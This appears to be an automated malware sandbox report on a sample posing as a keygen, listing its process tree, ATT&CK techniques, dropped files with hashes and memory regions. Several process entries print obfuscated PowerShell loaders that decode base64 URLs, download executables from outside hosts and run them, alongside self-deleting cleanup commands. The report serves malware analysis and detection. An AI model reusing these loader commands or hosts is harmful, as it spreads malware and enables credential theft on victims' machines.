$andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                4⤵
                • Blocklisted process makes network request
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2896
                • C:\Users\Public\flb.exe
                  "C:\Users\Public\flb.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4916
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
                    6⤵
                      PID:5036
                      • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                        "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                        7⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Modifies registry class
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1940
                        • C:\Windows\SysWOW64\WScript.exe
                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
                          8⤵
                            PID:5076
                            • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                              "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                              9⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3644
                              • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                                "C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
                                10⤵
                                • Executes dropped EXE
                                PID:3484
                          • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                            "C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
                            8⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            PID:4224
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c taskkill /pid 4224 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\076951796504692\\* & exit
                              9⤵
                                PID:4480
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /pid 4224
                                  10⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1272
                        • C:\Users\Public\flb.exe
                          "C:\Users\Public\flb.exe"
                          6⤵
                          • Executes dropped EXE
                          PID:4112
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D150.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3576
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                      4⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3264
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout 2
                    3⤵
                    • Delays execution with timeout.exe
                    PID:2980
                  • C:\Windows\SysWOW64\mshta.exe
                    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D150.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3804
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                      4⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2252
                      • C:\Users\Public\lpm.exe
                        "C:\Users\Public\lpm.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: MapViewOfSection
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:4904
                        • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                          "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • Suspicious behavior: MapViewOfSection
                          • Suspicious use of SetWindowsHookEx
                          PID:5100
                          • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                            "C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
                            7⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks processor information in registry
                            PID:4360
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c taskkill /pid 4360 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\393213751798208\\* & exit
                              8⤵
                                PID:4108
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /pid 4360
                                  9⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4156
                          • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                            "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                            6⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: MapViewOfSection
                            • Suspicious use of SetWindowsHookEx
                            PID:4188
                            • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                              "C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
                              7⤵
                              • Executes dropped EXE
                              PID:4136
                          • C:\Users\Public\lpm.exe
                            "C:\Users\Public\lpm.exe"
                            6⤵
                            • Executes dropped EXE
                            PID:4116
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D150.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3852
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3752
                • C:\Windows\SysWOW64\DllHost.exe
                  C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                  1⤵
                    PID:4664
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c start C:\Windows\temp\pusn24cj.exe
                      2⤵
                        PID:3420
                        • C:\Windows\temp\pusn24cj.exe
                          C:\Windows\temp\pusn24cj.exe
                          3⤵
                          • Executes dropped EXE
                          PID:3260
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            "powershell" Get-MpPreference -verbose
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:5096
                      • C:\Windows\SysWOW64\taskkill.exe
                        taskkill /IM cmstp.exe /F
                        2⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1540

                    Network

                    MITRE ATT&CK Matrix ATT&CK v6

                    Persistence

                    Modify Existing Service

                    1
                    T1031

                    Defense Evasion

                    Modify Registry

                    2
                    T1112

                    Disabling Security Tools

                    2
                    T1089

                    Credential Access

                    Credentials in Files

                    3
                    T1081

                    Discovery

                    Query Registry

                    2
                    T1012

                    System Information Discovery

                    2
                    T1082

                    Collection

                    Data from Local System

                    3
                    T1005

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\ProgramData\freebl3.dll
                    • C:\ProgramData\freebl3.dll
                    • C:\ProgramData\mozglue.dll
                    • C:\ProgramData\mozglue.dll
                    • C:\ProgramData\msvcp140.dll
                    • C:\ProgramData\msvcp140.dll
                    • C:\ProgramData\nss3.dll
                      MD5

                      bfac4e3c5908856ba17d41edcd455a51

                      SHA1

                      8eec7e888767aa9e4cca8ff246eb2aacb9170428

                      SHA256

                      e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                      SHA512

                      2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                    • C:\ProgramData\nss3.dll
                      MD5

                      bfac4e3c5908856ba17d41edcd455a51

                      SHA1

                      8eec7e888767aa9e4cca8ff246eb2aacb9170428

                      SHA256

                      e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                      SHA512

                      2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                    • C:\ProgramData\softokn3.dll
                    • C:\ProgramData\softokn3.dll
                    • C:\ProgramData\sqlite3.dll
                    • C:\ProgramData\sqlite3.dll
                    • C:\ProgramData\vcruntime140.dll
                    • C:\ProgramData\vcruntime140.dll
                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\Keygen.exe
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\Keygen.exe
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\b.hta
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\b1.hta
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\ba.hta
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\ba1.hta
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\m.hta
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\m1.hta
                    • C:\Users\Admin\AppData\Local\Temp\D150.tmp\start.bat
                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                    • C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
                    • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                    • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                    • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                    • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                    • C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
                    • C:\Users\Admin\AppData\Local\Temp\Na5iLhIzJs.exe
                      MD5

                      013db621a3351e3fb049efd2ccad79ff

                      SHA1

                      a23394ea54dbc5342a77938a2c285ee616185560

                      SHA256

                      df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

                      SHA512

                      1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

                    • C:\Users\Admin\AppData\Local\Temp\O8oAySpTMj.exe
                    • C:\Users\Admin\AppData\Local\Temp\O8oAySpTMj.exe
                    • C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs
                    • C:\Users\Admin\AppData\Local\Temp\SjEbhqox4V.exe
                    • C:\Users\Admin\AppData\Local\Temp\SjEbhqox4V.exe
                    • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                    • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                    • C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
                    • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                    • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                    • C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
                    • C:\Users\Admin\AppData\Local\Temp\n9IN41eqtm.exe
                    • C:\Users\Admin\AppData\Local\Temp\n9IN41eqtm.exe
                    • C:\Users\Public\flb.exe
                    • C:\Users\Public\flb.exe
                    • C:\Users\Public\flb.exe
                    • C:\Users\Public\lpm.exe
                    • C:\Users\Public\lpm.exe
                    • C:\Users\Public\lpm.exe
                    • C:\Users\Public\srx.exe
                    • C:\Users\Public\srx.exe
                    • C:\Users\Public\srx.exe
                    • C:\Windows\Temp\pusn24cj.exe
                      MD5

                      f4b5c1ebf4966256f52c4c4ceae87fb1

                      SHA1

                      ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                      SHA256

                      88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                      SHA512

                      02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                    • C:\Windows\temp\l1zt5ix4.inf
                    • C:\Windows\temp\pusn24cj.exe
                      MD5

                      f4b5c1ebf4966256f52c4c4ceae87fb1

                      SHA1

                      ca70ec96d1a65cb2a4cbf4db46042275dc75813b

                      SHA256

                      88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

                      SHA512

                      02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

                    • \ProgramData\mozglue.dll
                    • \ProgramData\mozglue.dll
                    • \ProgramData\mozglue.dll
                    • \ProgramData\nss3.dll
                      MD5

                      bfac4e3c5908856ba17d41edcd455a51

                      SHA1

                      8eec7e888767aa9e4cca8ff246eb2aacb9170428

                      SHA256

                      e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                      SHA512

                      2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                    • \ProgramData\nss3.dll
                      MD5

                      bfac4e3c5908856ba17d41edcd455a51

                      SHA1

                      8eec7e888767aa9e4cca8ff246eb2aacb9170428

                      SHA256

                      e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                      SHA512

                      2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                    • \ProgramData\nss3.dll
                      MD5

                      bfac4e3c5908856ba17d41edcd455a51

                      SHA1

                      8eec7e888767aa9e4cca8ff246eb2aacb9170428

                      SHA256

                      e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

                      SHA512

                      2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

                    • \ProgramData\sqlite3.dll
                    • \ProgramData\sqlite3.dll
                    • \ProgramData\sqlite3.dll
                    • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
                    • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
                    • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll
                    • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
                      MD5

                      02cc7b8ee30056d5912de54f1bdfc219

                      SHA1

                      a6923da95705fb81e368ae48f93d28522ef552fb

                      SHA256

                      1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

                      SHA512

                      0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

                    • \Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll
                    • \Users\Admin\AppData\LocalLow\sqlite3.dll
                    • memory/1272-260-0x0000000000000000-mapping.dmp
                    • memory/1540-333-0x0000000000000000-mapping.dmp
                    • memory/1940-226-0x00000000053E0000-0x0000000005431000-memory.dmp
                      Filesize

                      324KB

                    • memory/1940-202-0x0000000000000000-mapping.dmp
                    • memory/1940-215-0x0000000002C50000-0x0000000002C51000-memory.dmp
                      Filesize

                      4KB

                    • memory/1940-213-0x0000000000A10000-0x0000000000A11000-memory.dmp
                      Filesize

                      4KB

                    • memory/1940-204-0x0000000072560000-0x0000000072C4E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/2252-33-0x0000000000000000-mapping.dmp
                    • memory/2252-87-0x0000000009230000-0x0000000009231000-memory.dmp
                      Filesize

                      4KB

                    • memory/2252-35-0x0000000070B50000-0x000000007123E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/2636-0-0x0000000000000000-mapping.dmp
                    • memory/2896-77-0x00000000089B0000-0x00000000089B1000-memory.dmp
                      Filesize

                      4KB

                    • memory/2896-30-0x0000000070B50000-0x000000007123E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/2896-98-0x000000000ACD0000-0x000000000ACD1000-memory.dmp
                      Filesize

                      4KB

                    • memory/2896-62-0x00000000082E0000-0x00000000082E1000-memory.dmp
                      Filesize

                      4KB

                    • memory/2896-17-0x0000000000000000-mapping.dmp
                    • memory/2896-57-0x0000000008270000-0x0000000008271000-memory.dmp
                      Filesize

                      4KB

                    • memory/2896-52-0x0000000007980000-0x0000000007981000-memory.dmp
                      Filesize

                      4KB

                    • memory/2980-16-0x0000000000000000-mapping.dmp
                    • memory/3220-9-0x0000000000000000-mapping.dmp
                    • memory/3260-327-0x0000000000000000-mapping.dmp
                    • memory/3260-328-0x0000000000000000-mapping.dmp
                    • memory/3260-331-0x00007FF9AD8B0000-0x00007FF9AE29C000-memory.dmp
                      Filesize

                      9.9MB

                    • memory/3260-334-0x0000000000810000-0x0000000000811000-memory.dmp
                      Filesize

                      4KB

                    • memory/3264-29-0x0000000070B50000-0x000000007123E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/3264-20-0x0000000000000000-mapping.dmp
                    • memory/3420-323-0x0000000000000000-mapping.dmp
                    • memory/3484-270-0x0000000000400000-0x0000000000420000-memory.dmp
                      Filesize

                      128KB

                    • memory/3484-268-0x000000000041A684-mapping.dmp
                    • memory/3484-267-0x0000000000400000-0x0000000000420000-memory.dmp
                      Filesize

                      128KB

                    • memory/3576-15-0x0000000000000000-mapping.dmp
                    • memory/3644-262-0x0000000005810000-0x0000000005834000-memory.dmp
                      Filesize

                      144KB

                    • memory/3644-240-0x0000000072560000-0x0000000072C4E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/3644-243-0x00000000030D0000-0x00000000030D1000-memory.dmp
                      Filesize

                      4KB

                    • memory/3644-238-0x0000000000000000-mapping.dmp
                    • memory/3644-241-0x0000000000E70000-0x0000000000E71000-memory.dmp
                      Filesize

                      4KB

                    • memory/3648-92-0x0000000009A00000-0x0000000009A01000-memory.dmp
                      Filesize

                      4KB

                    • memory/3648-72-0x0000000008310000-0x0000000008311000-memory.dmp
                      Filesize

                      4KB

                    • memory/3648-82-0x0000000009D00000-0x0000000009D01000-memory.dmp
                      Filesize

                      4KB

                    • memory/3648-67-0x0000000004D80000-0x0000000004D81000-memory.dmp
                      Filesize

                      4KB

                    • memory/3648-31-0x0000000070B50000-0x000000007123E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/3648-95-0x0000000009800000-0x0000000009801000-memory.dmp
                      Filesize

                      4KB

                    • memory/3648-19-0x0000000000000000-mapping.dmp
                    • memory/3660-32-0x0000000070B50000-0x000000007123E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/3660-37-0x0000000004B80000-0x0000000004B81000-memory.dmp
                      Filesize

                      4KB

                    • memory/3660-18-0x0000000000000000-mapping.dmp
                    • memory/3716-171-0x0000000000400000-0x0000000000439000-memory.dmp
                      Filesize

                      228KB

                    • memory/3716-169-0x0000000000417A8B-mapping.dmp
                    • memory/3752-47-0x0000000006B40000-0x0000000006B41000-memory.dmp
                      Filesize

                      4KB

                    • memory/3752-42-0x0000000006D50000-0x0000000006D51000-memory.dmp
                      Filesize

                      4KB

                    • memory/3752-36-0x0000000070B50000-0x000000007123E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/3752-34-0x0000000000000000-mapping.dmp
                    • memory/3800-7-0x0000000000000000-mapping.dmp
                    • memory/3804-26-0x0000000000000000-mapping.dmp
                    • memory/3812-12-0x0000000000000000-mapping.dmp
                    • memory/3832-2-0x0000000000000000-mapping.dmp
                    • memory/3832-3-0x0000000000000000-mapping.dmp
                    • memory/3852-28-0x0000000000000000-mapping.dmp
                    • memory/3932-150-0x000000000043FCC3-mapping.dmp
                    • memory/3932-148-0x0000000000400000-0x0000000000498000-memory.dmp
                      Filesize

                      608KB

                    • memory/3932-156-0x0000000000400000-0x0000000000498000-memory.dmp
                      Filesize

                      608KB

                    • memory/3940-10-0x0000000000000000-mapping.dmp
                    • memory/3972-291-0x0000000000FB0000-0x0000000000FB1000-memory.dmp
                      Filesize

                      4KB

                    • memory/3972-281-0x0000000000000000-mapping.dmp
                    • memory/3972-295-0x0000000005740000-0x0000000005741000-memory.dmp
                      Filesize

                      4KB

                    • memory/3972-301-0x0000000005860000-0x0000000005872000-memory.dmp
                      Filesize

                      72KB

                    • memory/3972-304-0x0000000005D40000-0x0000000005D45000-memory.dmp
                      Filesize

                      20KB

                    • memory/3972-284-0x0000000072560000-0x0000000072C4E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4100-221-0x0000000000000000-mapping.dmp
                    • memory/4108-220-0x0000000000000000-mapping.dmp
                    • memory/4112-191-0x0000000000400000-0x0000000000493000-memory.dmp
                      Filesize

                      588KB

                    • memory/4112-185-0x0000000000400000-0x0000000000493000-memory.dmp
                      Filesize

                      588KB

                    • memory/4112-186-0x000000000043FCC3-mapping.dmp
                    • memory/4116-157-0x0000000000400000-0x0000000000498000-memory.dmp
                      Filesize

                      608KB

                    • memory/4116-152-0x000000000043FCC3-mapping.dmp
                    • memory/4132-222-0x0000000000000000-mapping.dmp
                    • memory/4136-163-0x000000000041A684-mapping.dmp
                    • memory/4156-223-0x0000000000000000-mapping.dmp
                    • memory/4188-134-0x0000000000000000-mapping.dmp
                    • memory/4224-234-0x0000000000417A8B-mapping.dmp
                    • memory/4224-233-0x0000000000400000-0x0000000000434000-memory.dmp
                      Filesize

                      208KB

                    • memory/4224-236-0x0000000000400000-0x0000000000434000-memory.dmp
                      Filesize

                      208KB

                    • memory/4232-136-0x0000000000000000-mapping.dmp
                    • memory/4268-166-0x0000000000400000-0x0000000000425000-memory.dmp
                      Filesize

                      148KB

                    • memory/4268-162-0x000000000041A684-mapping.dmp
                    • memory/4268-159-0x0000000000400000-0x0000000000425000-memory.dmp
                      Filesize

                      148KB

                    • memory/4296-287-0x0000000000000000-mapping.dmp
                    • memory/4308-326-0x0000000007CC0000-0x0000000007CC1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4308-315-0x0000000072560000-0x0000000072C4E000-memory.dmp
                      Filesize

                      6.9MB

                    • memory/4308-322-0x0000000007450000-0x0000000007451000-memory.dmp
                      Filesize

                      4KB

